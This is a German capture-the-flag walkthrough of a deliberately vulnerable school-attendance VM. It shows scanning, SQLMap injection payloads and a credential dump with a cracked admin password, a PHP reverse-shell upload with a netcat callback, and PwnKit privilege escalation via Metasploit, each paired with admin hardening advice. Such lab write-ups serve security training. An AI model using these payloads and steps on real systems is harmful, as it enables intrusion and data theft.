Die Aufklärungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und einem ersten Scan, um offene Ports und Dienste zu entdecken.
192.168.2.166 08:00:27:b7:e4:91 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Hosts zu ermitteln. Er findet erfolgreich einen Host mit der IP `192.168.2.166` und der MAC-Adresse `08:00:27:b7:e4:91`, was auf eine VirtualBox VM schließen lässt.
Bewertung: Das Zielsystem wurde eindeutig identifiziert. Die IP `192.168.2.166` dient als Basis für die weiteren Scans.
Empfehlung (Pentester): Führe detaillierte Port-Scans (Nmap) auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerke überwachen und segmentieren, um die Reichweite von Scans zu begrenzen.
192.168.2.166 school.vln
Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um den Hostnamen `school.vln` der Ziel-IP `192.168.2.166` zuzuordnen. Dies erleichtert den Zugriff auf Webdienste unter diesem Namen.
Bewertung: Notwendige Vorbereitung für die Web-Enumeration, um sicherzustellen, dass der Hostname korrekt aufgelöst wird.
Empfehlung (Pentester): Verwende den Hostnamen `school.vln` bei der Untersuchung des Webservers.
Empfehlung (Admin): Keine Aktion nötig, betrifft Angreifersystem.
- Nikto v2.5.0 + Target IP: 192.168.2.166 + Target Hostname: 192.168.2.166 + Target Port: 80 + Start Time: 2023-10-17 23:20:36 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + Root page / redirects to: /student_attendance + No CGI Directories found [...] + Apache/2.4.38 appears to be outdated [...]. + /icons/README: Apache default file found. [...] + 8103 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2023-10-17 23:20:50 (GMT2) (14 seconds) + 1 host(s) tested
Analyse: Nikto scannt den Webserver auf Port 80. * **Server:** Apache/2.4.38 (Debian), als veraltet markiert. * **Header:** Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * **Redirect:** Die Startseite `/` leitet auf `/student_attendance` um. Dies ist der Pfad zur Hauptwebanwendung. * **Sonstiges:** Standard `/icons/README` gefunden. Keine CGI-Verzeichnisse.
Bewertung: Nikto identifiziert die Hauptanwendung unter `/student_attendance` und weist auf veraltete Software und fehlende Sicherheitsheader hin. Die Umleitung ist ein wichtiger Hinweis für die weitere Untersuchung.
Empfehlung (Pentester): Fokussiere die Web-Enumeration (Gobuster, Dirb, manuelle Analyse) auf den Pfad `/student_attendance`. Untersuche die Anwendung dort auf Schwachstellen. Prüfe Apache 2.4.38 auf bekannte Exploits.
Empfehlung (Admin): Aktualisieren Sie Apache. Implementieren Sie die empfohlenen Sicherheitsheader. Untersuchen Sie die Notwendigkeit der Weiterleitung.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 23:20 CEST Nmap scan report for school.vln (192.168.2.166) Host is up (0.00012s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA) | 256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA) |_ 256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519) 23/tcp open telnet? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, ms-sql-s, oracle-tns, tn3270: |_ Verification Code: 80/tcp open http Apache httpd 2.4.38 ((Debian)) | http-title: 404 Not Found |_Requested resource was login.php |_http-server-header: Apache/2.4.38 (Debian) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint [...] MAC Address: 08:00:27:B7:E4:91 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms school.vln (192.168.2.166)
Analyse: Ein aggressiver Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) auf alle Ports wird durchgeführt. **Ergebnisse:** * **Port 22 (SSH):** Offen, OpenSSH 7.9p1 (Debian 10). Standard-SSH-Dienst. * **Port 23 (Telnet?):** Offen, aber Nmap kann den Dienst nicht eindeutig identifizieren (`telnet?`). Der Fingerprint deutet auf einen benutzerdefinierten Dienst hin, der einen "Verification Code" erwartet. * **Port 80 (HTTP):** Offen, Apache 2.4.38 (Debian). Nmap's Titelabfrage auf `/login.php` (ein Standardtest) liefert "404 Not Found", was mit der Nikto-Weiterleitung auf `/student_attendance` übereinstimmt. * **OS:** Linux 4.x/5.x (Debian 10).
Bewertung: Der Scan bestätigt SSH auf Port 22 und HTTP auf Port 80 (mit der Anwendung unter `/student_attendance`). Der ungewöhnliche Dienst auf Port 23 erfordert genauere Untersuchung. Kein MySQL- oder FTP-Port gefunden.
Empfehlung (Pentester): 1. Untersuche den Webserver unter `http://school.vln/student_attendance/`. 2. Versuche, mit dem Telnet-Dienst auf Port 23 zu interagieren. 3. Behalte SSH auf Port 22 als Login-Ziel im Hinterkopf, falls Credentials gefunden werden.
Empfehlung (Admin): Aktualisieren Sie Apache und OpenSSH. Deaktivieren oder sichern Sie den benutzerdefinierten Dienst auf Port 23. Stellen Sie sicher, dass die Webanwendung korrekt konfiguriert ist.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 23/tcp open telnet? 80/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Die gefilterte Nmap-Ausgabe bestätigt die drei offenen Ports: 22 (SSH), 23 (Unbekannt/Telnet?), 80 (HTTP).
Bewertung: Klare Übersicht über die Angriffsvektoren.
Empfehlung (Pentester): Konzentriere dich auf Port 80 und 23.
Empfehlung (Admin): Überprüfe die Notwendigkeit dieser Ports.
Die Untersuchung konzentriert sich auf die Webanwendung unter `/student_attendance`. Es wird nach Schwachstellen, insbesondere SQL-Injection, gesucht.
# Analyse von http://school.vln/student_attendance/login.php (JavaScript im Quellcode) $('#login-form').submit(function(e){ e.preventDefault() $('#login-form button[type="button"]').attr('disabled',true).html('Logging in...'); if($(this).find('.alert-danger').length > 0 ) $(this).find('.alert-danger').remove(); $.ajax({ url:'ajax.php?action=login', // <-- Ziel-Endpunkt method:'POST', data:$(this).serialize(), error:err=>{ console.log(err) $('#login-form button[type="button"]').removeAttr('disabled').html('Login'); }, success:function(resp){ if(resp == 1){ location.href ='index.php?page=home'; // <-- Weiterleitung nach Erfolg } // ... } }); });
Analyse: Der JavaScript-Code von der Login-Seite (`/student_attendance/login.php`) wird analysiert. Er zeigt, dass beim Absenden des Login-Formulars eine AJAX-Anfrage (POST) an `ajax.php?action=login` gesendet wird. Die Formulardaten (`username`, `password`) werden serialisiert übertragen. Bei Erfolg (`resp == 1`) wird zur `index.php?page=home` weitergeleitet.
Bewertung: Dies identifiziert den tatsächlichen Backend-Endpunkt (`ajax.php?action=login`) für die Authentifizierung. Dieser Endpunkt ist ein primäres Ziel für Angriffe wie SQL-Injection oder Brute-Force, da er die Logindaten verarbeitet.
Empfehlung (Pentester): Fange die POST-Anfrage an `ajax.php?action=login` mit einem Proxy (z.B. Burp Suite) ab. Teste die Parameter (`username`, `password`) auf SQL-Injection (z.B. mit SQLMap) und andere Schwachstellen.
Empfehlung (Admin): Sichern Sie den AJAX-Endpunkt gegen SQL-Injection und andere Angriffe. Implementieren Sie Ratenbegrenzung und CSRF-Schutz für Login-Versuche.
* processing: http://school.vln/index.php?page=home * Trying 192.168.2.166:80... * Connected to school.vln (192.168.2.166) port 80 (#0) > HEAD /index.php?page=home HTTP/1.1 > Host: school.vln > User-Agent: curl/8.2.1 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 302 Found < Date: Tue, 17 Oct 2023 21:24:35 GMT < Server: Apache/2.4.38 (Debian) < Location: /student_attendance < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host school.vln left intact
Analyse: Mit `curl -Iv` wird eine HEAD-Anfrage an `http://school.vln/index.php?page=home` gesendet. Der Server antwortet mit einem HTTP-Statuscode `302 Found` und einem `Location`-Header, der auf `/student_attendance` verweist.
Bewertung: Dies bestätigt erneut, dass der Zugriff auf interne Seiten der Anwendung (wie `?page=home`) ohne Authentifizierung nicht möglich ist und zur Hauptseite `/student_attendance` (wahrscheinlich zur Login-Seite) umgeleitet wird.
Empfehlung (Pentester): Konzentriere dich auf das Ausnutzen der Schwachstellen am Login-Endpunkt (`ajax.php?action=login`).
Empfehlung (Admin): Sicherstellen, dass Authentifizierungsprüfungen korrekt implementiert sind und nicht umgangen werden können.
[...] http://school.vln/index.php (Status: 302) [Size: 0] [--> /student_attendance] [...]
Analyse: Ein Gobuster-Scan auf das Root-Verzeichnis (`http://school.vln`) wird durchgeführt. Er findet nur die `index.php`, die einen 302-Redirect auf `/student_attendance` zurückgibt.
Bewertung: Dieser Scan war nicht zielführend, da die eigentliche Anwendung unter `/student_attendance` liegt. Er bestätigt lediglich die Umleitung.
Empfehlung (Pentester): Führe Gobuster oder Dirb gezielt auf `http://school.vln/student_attendance/` aus, um Dateien und Verzeichnisse *innerhalb* der Anwendung zu finden.
Empfehlung (Admin): Kein Handlungsbedarf bezüglich dieses Scan-Ergebnisses.
Trying 192.168.2.166...
Connected to 192.168.2.166.
Escape character is '^]'.
Verification Code:
0123
Connection closed by foreign host.
Analyse: Es wird eine Telnet-Verbindung zu Port 23 aufgebaut. Der Dienst fragt nach einem "Verification Code". Die Eingabe `0123` führt zur sofortigen Schließung der Verbindung.
Bewertung: Der Zweck dieses Dienstes bleibt unklar. Der Code `0123` scheint nicht der korrekte Code zu sein oder die Funktionalität ist begrenzt. Ohne weitere Informationen ist dieser Vektor schwer auszunutzen.
Empfehlung (Pentester): Versuche andere einfache Codes (z.B. 1234, 0000). Wenn das nicht funktioniert, fokussiere dich auf die Webanwendung, da dort bereits eine Schwachstelle (SQLi) vermutet wird.
Empfehlung (Admin): Deaktivieren Sie diesen benutzerdefinierten Dienst, wenn er nicht benötigt wird, oder sichern Sie ihn ordnungsgemäß und dokumentieren Sie seine Funktion.
[...] --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: username=admin%' AND 8024=(SELECT (CASE WHEN (8024=8024) THEN 8024 ELSE (SELECT 9136 UNION SELECT 3259) END))-- cyib&password=adminc Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=admin%' AND (SELECT 4282 FROM (SELECT(SLEEP(5)))dALu) AND 'Tsbq%'='Tsbq&password=adminc --- [23:31:23] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 10 (buster) web application technology: Apache 2.4.38 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [23:31:23] [INFO] fetching database names [...] available databases [4]: [*] information_schema [*] mysql [*] performance_schema [*] student_attendance_db [...]
Analyse: SQLMap wird mit einer gespeicherten HTTP-Anfrage (`reg.sql`, vermutlich der POST-Request an `ajax.php?action=login`) und erhöhten Testleveln (`--risk 3 --level 5`) ausgeführt, um Datenbanken aufzulisten (`--dbs`). * SQLMap identifiziert erfolgreich eine SQL-Injection-Schwachstelle im `username`-Parameter (boolean-based blind und time-based blind). * Es erkennt das Backend als MySQL >= 5.0.12 (MariaDB) auf Debian 10 mit Apache 2.4.38. * Es listet vier Datenbanken auf, darunter die anwendungsbezogene `student_attendance_db`.
Bewertung: Kritische SQL-Injection-Schwachstelle bestätigt! Dies ermöglicht potenziell vollen Zugriff auf die Datenbank.
Empfehlung (Pentester): Untersuche die Datenbank `student_attendance_db` weiter: Liste Tabellen (`--tables`) und extrahiere Daten aus interessanten Tabellen wie `users` (`--dump`).
Empfehlung (Admin): Beheben Sie die SQLi *sofort* durch Implementierung von Prepared Statements oder strikter Eingabevalidierung und -sanitisierung für Login-Parameter.
[...] Database: student_attendance_db [10 tables] +---------------------+ | attendance_list | | attendance_record | | class | | class_subject | | courses | | faculty | | students | | subjects | | system_settings | | users | +---------------------+ [...]
Analyse: SQLMap wird angewiesen, die Tabellen (`--tables`) in der Datenbank `student_attendance_db` (`-D ...`) aufzulisten. Es findet 10 Tabellen, darunter die Tabelle `users`.
Bewertung: Die Tabelle `users` ist das wahrscheinlichste Ziel, um Anmeldeinformationen zu finden.
Empfehlung (Pentester): Dumpen Sie den Inhalt der `users`-Tabelle (`-T users --dump`).
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit aller Tabellen und Daten. Beheben Sie die SQLi.
[...] [23:32:54] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file [...] [y/N] N do you want to crack them via a dictionary-based attack? [Y/n/q] Y [23:32:54] [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file [...] (press Enter) [...] > 1 [23:32:54] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] N [23:32:54] [INFO] starting dictionary-based cracking (md5_generic_passwd) [...] [23:32:54] [INFO] cracked password 'admin123' for user 'admin' Database: student_attendance_db Table: users [2 entries] +----+------------+---------------+--------+------------------------------------------+-------------------+ | id | faculty_id | name | type | password | username | +----+------------+---------------+--------+------------------------------------------+-------------------+ | 1 | 0 | Administrator | 1 | 0192023a7bbd73250516f069df18b500 (admin123) | admin | | 2 | 1 | John Smith | 3 | af606ddc433ae6471f104872585cf880 | jsmith@sample.com | +----+------------+---------------+--------+------------------------------------------+-------------------+ [...]
Analyse: SQLMap dumpet (`--dump`) die Tabelle `users` (`-T users`). * Es findet zwei Benutzer: `admin` und `jsmith@sample.com`. * Die Passwörter sind als MD5-Hashes gespeichert (`019...` und `af6...`). * SQLMap bietet an, die Hashes zu knacken, und findet mit dem Standardwörterbuch das Passwort `admin123` für den Hash des Benutzers `admin`. Der Hash für `jsmith` wird nicht geknackt.
Bewertung: Erfolg! Gültige Anmeldedaten für die Webanwendung wurden gefunden: `admin`:`admin123`. Der MD5-Hash ist eine unsichere Methode zur Passwortspeicherung.
Empfehlung (Pentester): Melden Sie sich mit `admin`:`admin123` bei der Webanwendung (`http://school.vln/student_attendance/login.php`) an. Suchen Sie nach dem Login nach weiteren Schwachstellen, insbesondere nach einer Dateiupload-Funktion.
Empfehlung (Admin): Beheben Sie die SQLi. Verwenden Sie *dringend* starke, gesalzene Passwort-Hashing-Algorithmen (z.B. bcrypt, Argon2) anstelle von MD5. Erzwingen Sie komplexe Passwörter.
Nachdem durch SQL-Injection die Zugangsdaten (`admin:admin123`) für die Webanwendung erlangt wurden, wird sich eingeloggt und nach einer Möglichkeit gesucht, Code auszuführen. Eine Dateiupload-Funktion wird gefunden und missbraucht, um eine PHP-Reverse-Shell hochzuladen und auszuführen.
# Analyse des Web-App-Quellcodes nach Login als 'admin' view-source:http://school.vln/student_attendance/index.php?page=site_settings # Hinweis auf Kontoverwaltung: #manage_my_account' uni_modal("Manage Account","manage_user.php?id=1&mtype=own") # CSS-Hinweis auf hochgeladene Shell (möglicherweise älterer Versuch oder Indikator): background: url(assets/uploads/1604743980_shell.php) !important*/
Analyse: Nach dem Login als `admin` wird der Quellcode der Seite `index.php?page=site_settings` untersucht. Es finden sich Hinweise auf eine Kontoverwaltungsfunktion (`manage_user.php`) und, auffälliger, ein auskommentierter CSS-Hintergrund, der auf eine Datei `shell.php` im Verzeichnis `assets/uploads/` verweist. Dies legt nahe, dass eine Upload-Funktion existiert und das Zielverzeichnis `/student_attendance/assets/uploads/` ist.
Bewertung: Starker Hinweis auf eine vorhandene oder geplante Upload-Funktionalität und das zugehörige Verzeichnis. Die Kontoverwaltung oder die Systemeinstellungen sind die wahrscheinlichsten Orte für ein Upload-Formular.
Empfehlung (Pentester): Navigieren Sie zu den Systemeinstellungen oder zur Kontoverwaltung innerhalb der Webanwendung und suchen Sie nach einem Formular zum Hochladen von Dateien (z.B. Profilbild, Systemlogo). Laden Sie eine PHP-Reverse-Shell hoch.
Empfehlung (Admin): Sichern Sie die Dateiupload-Funktion rigoros: Validieren Sie Dateitypen serverseitig (Whitelist), überprüfen Sie den Inhalt, speichern Sie Dateien außerhalb des Web-Roots oder in einem nicht ausführbaren Verzeichnis, benennen Sie Dateien zufällig um.
# Manuelle Bestätigung des Upload-Verzeichnisses via Browser http://school.vln/student_attendance/assets/uploads/ # Ausgabe (Directory Listing): Index of /student_attendance/assets/uploads [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [ ] 1697579760_phpshell.php 2023-10-17 22:56 3.5K Apache/2.4.38 (Debian) Server at school.vln Port 80
Analyse: Der direkte Zugriff auf das Verzeichnis `http://school.vln/student_attendance/assets/uploads/` im Browser zeigt, dass Directory Listing aktiviert ist. Es wird eine Datei `1697579760_phpshell.php` angezeigt, was bestätigt, dass eine PHP-Shell erfolgreich hochgeladen wurde (der Timestamp im Namen deutet auf eine Umbenennung beim Upload hin).
Bewertung: Kritische Kombination von Schwachstellen: Eine funktionierende (wenn auch wahrscheinlich gesicherte) Upload-Funktion, kombiniert mit Directory Listing und einem Verzeichnis innerhalb des Web-Roots, in dem PHP-Ausführung erlaubt ist, ermöglicht Remote Code Execution.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener und rufen Sie die URL `http://school.vln/student_attendance/assets/uploads/1697579760_phpshell.php` auf, um die Reverse Shell zu erhalten.
Empfehlung (Admin): Deaktivieren Sie Directory Listing (`Options -Indexes`). Sichern Sie die Upload-Funktion wie zuvor beschrieben. Stellen Sie sicher, dass PHP nicht in Upload-Verzeichnissen ausgeführt werden kann.
Listening on 0.0.0.0 4444
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet, um die eingehende Reverse Shell abzufangen.
Bewertung: Standardvorbereitung.
Empfehlung (Pentester): Lösen Sie die Shell aus.
Empfehlung (Admin): Egress Filtering.
Analyse: Die URL der hochgeladenen PHP-Shell wird mit `curl` aufgerufen. Dies führt dazu, dass der PHP-Code der Shell auf dem Server ausgeführt wird und versucht, eine Verbindung zum Listener aufzubauen.
Bewertung: Auslösen der Remote Code Execution.
Empfehlung (Pentester): Überprüfen Sie den Netcat-Listener.
Empfehlung (Admin): Beheben Sie die Upload- und Directory-Listing-Schwachstellen.
Listening on 0.0.0.0 4444 Connection received on 192.168.2.166 45870 Linux school 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux 22:58:48 up 40 min, 0 users, load average: 0.00, 0.09, 1.09 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: Der Listener empfängt die Verbindung vom Zielsystem. Eine Shell wird bereitgestellt, die als Benutzer `www-data` (UID 33) auf einem Debian-System mit Kernel 4.19.0 läuft.
Bewertung: Initial Access erfolgreich erlangt über SQLi -> Admin-Login -> File Upload -> RCE.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie mit der lokalen Enumeration zur Privilege Escalation. Suchen Sie insbesondere nach SUID-Dateien.
Empfehlung (Admin): Beheben Sie alle Schritte der Angriffskette (SQLi, schwaches Passwort, Upload-Funktion, Directory Listing). Härten Sie die Berechtigungen des `www-data`-Benutzers.
Mit einer Shell als `www-data` wird das System nun nach Möglichkeiten zur Rechteerweiterung auf Root untersucht. Der Fokus liegt auf SUID-Binaries, insbesondere `pkexec`.
262195 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 266144 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 282128 36 -rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount 262197 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 262193 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 265663 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 278280 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec 266146 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 265810 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 262192 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 278283 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1 399627 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 276895 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 273543 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Analyse: Die Suche nach SUID-Dateien wird als `www-data` ausgeführt. Es werden diverse Standard-SUID-Binaries gefunden. Am auffälligsten ist `/usr/bin/pkexec`.
Bewertung: Das Vorhandensein von `pkexec` deutet stark auf die Möglichkeit hin, die PwnKit-Schwachstelle (CVE-2021-4034) zur Privilege Escalation auszunutzen, da das System auf Debian 10 basiert und die `pkexec`-Version von Anfang 2019 stammt (vor dem Patch).
Empfehlung (Pentester): Bereite den PwnKit-Exploit vor und führe ihn aus, um Root-Rechte zu erlangen. Metasploit ist hierfür ein geeignetes Werkzeug.
Empfehlung (Admin): Patchen Sie das `policykit-1`-Paket dringend, um CVE-2021-4034 zu schließen.
Dieser Abschnitt demonstriert die Ausnutzung der PwnKit-Schwachstelle im gefundenen `/usr/bin/pkexec`-Binary mithilfe von Metasploit, um Root-Rechte zu erlangen.
[*] Using configured payload generic/shell_reverse_tcp
lport => 4488
lhost => 192.168.2.199
[*] Started reverse TCP handler on 192.168.2.199:4488
rm: cannot remove '/tmp/f': No such file or directory
[*] Command shell session 1 opened (192.168.2.199:4488 -> 192.168.2.166:34198) at 2023-10-18 00:01:27 +0200
Analyse: Die initiale `www-data`-Shell wird in eine Metasploit-Session überführt, um die weitere Ausnutzung zu erleichtern. Ein Handler wird gestartet, und vom Zielsystem wird eine stabilere Shell zu diesem Handler aufgebaut. Metasploit registriert dies als `Command shell session 1`.
Bewertung: Erfolgreiche Übernahme der Shell in Metasploit, was die Handhabung verbessert.
Empfehlung (Pentester): Wandle die Shell in eine Meterpreter-Session um (`shell_to_meterpreter`) für erweiterte Funktionen.
Empfehlung (Admin): Host- und Netzwerk-IDS können solche Shell-Stabilisierungsversuche erkennen.
lport => 4455
session => 1
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4455 [*] Sending stage (1017704 bytes) to 192.168.2.166 [*] Meterpreter session 2 opened (192.168.2.199:4455 -> 192.168.2.166:35384) at 2023-10-18 00:02:22 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Analyse: Das Modul `shell_to_meterpreter` wird verwendet, um Session 1 (die `www-data` Command Shell) in eine Meterpreter-Session umzuwandeln. Ein neuer Handler auf Port 4455 wird gestartet, der Meterpreter-Payload wird hochgeladen und ausgeführt, und `Meterpreter session 2` (als `www-data`) wird geöffnet.
Bewertung: Erfolgreiches Upgrade auf Meterpreter, was die Ausführung des nächsten Exploits vereinfacht.
Empfehlung (Pentester): Lade und konfiguriere das PwnKit-Exploit-Modul für Session 2.
Empfehlung (Admin): IDS kann Meterpreter-Payloads erkennen.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- [...] 1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 2022-01-25 excellent Yes Local Privilege Escalation in polkits pkexec [...]
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
lport => 4433
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4433 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.ximsuzzcuejg [+] The target is vulnerable. [*] Writing '/tmp/.qegxscye/mpddynezatqj/mpddynezatqj.so' (548 bytes) ... [!] Verify cleanup of /tmp/.qegxscye [*] Sending stage (3045380 bytes) to 192.168.2.166 [+] Deleted /tmp/.qegxscye/mpddynezatqj/mpddynezatqj.so [+] Deleted /tmp/.qegxscye/.ygtdnuyqf [+] Deleted /tmp/.qegxscye [*] Meterpreter session 3 opened (192.168.2.199:4433 -> 192.168.2.166:51054) at 2023-10-18 00:03:20 +0200
Analyse: Das PwnKit-Exploit-Modul (CVE-2021-4034) wird geladen und konfiguriert: * `use 1`: Lädt das Exploit-Modul. * `set lport 4433`: Definiert den Port für die neue Root-Shell. * `set session 2`: Gibt an, dass der Exploit über die bestehende Meterpreter-Session 2 (als `www-data`) ausgeführt werden soll. * `run`: Startet den Exploit. Metasploit überprüft die Verwundbarkeit (`pkexec` vorhanden), lädt die notwendigen Dateien hoch, führt den Exploit aus und erhält eine neue Verbindung auf Port 4433. `Meterpreter session 3` wird geöffnet, diesmal mit Root-Rechten.
Bewertung: Fantastisch! Der PwnKit-Exploit war erfolgreich. Eine Meterpreter-Session mit Root-Rechten wurde erlangt. Die Privilege Escalation ist abgeschlossen.
Empfehlung (Pentester): Interagiere mit Session 3 (`sessions -i 3`). Verifiziere die Root-Rechte (`getuid`). Suche nach der Root-Flag.
Empfehlung (Admin): Patchen Sie das System *dringend*, um CVE-2021-4034 zu beheben.
Process 2576 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),33(www-data)
proof.txt win
ccc34dede451108a8fe6f75d6ea7d2ae
Analyse: Aus der Root-Meterpreter-Session (Session 3) wird eine System-Shell (`shell`) geöffnet. * `id`: Bestätigt `uid=0(root)`. * `cd ~`: Wechselt in das Home-Verzeichnis von Root (`/root`). * `ls`: Listet den Inhalt auf und findet `proof.txt` und ein Verzeichnis `win`. * `cat proof.txt`: Gibt den Inhalt der Flag-Datei aus: `ccc34dede451108a8fe6f75d6ea7d2ae`.
Bewertung: Die Root-Flag wurde erfolgreich in `/root/proof.txt` gefunden und ausgelesen.
Empfehlung (Pentester): Dokumentieren Sie die Flag und den Angriffspfad. Der Test ist abgeschlossen.
Empfehlung (Admin): Sichern Sie die Flag-Datei (`chmod 600`). Beheben Sie alle identifizierten Schwachstellen (SQLi, unsichere Uploads, veraltete Software, PwnKit).